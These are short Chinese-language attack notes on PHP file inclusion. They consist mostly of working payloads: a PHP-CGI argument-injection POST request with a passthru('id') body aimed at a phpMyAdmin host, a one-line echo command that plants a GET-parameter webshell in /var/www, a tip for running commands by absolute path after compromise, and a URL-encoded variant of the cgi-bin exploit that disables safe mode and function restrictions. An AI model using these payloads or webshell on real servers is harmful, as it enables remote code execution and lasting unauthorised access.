php文件包含

无文件，本地文件包含漏洞

POST http://192.168.2.66/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1

<?php
passthru('id');
die();
?>

写入简易webshell

echo "<?php \$cmd=\$_GET["cmd"]; system(\$cmd);?>" > /var/www/3.php

kali中自带反弹webshell

 

为什么不能执行ifconfig命令

此获得的账号没有某些环境变量的权限

使用

whereis ifconfig

查看ifconfig存在哪个目录

使用绝对路径执行

/sbin/ifconfig

即可

进过url编码的php漏洞利用，使用cgi-bin默认配置

POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
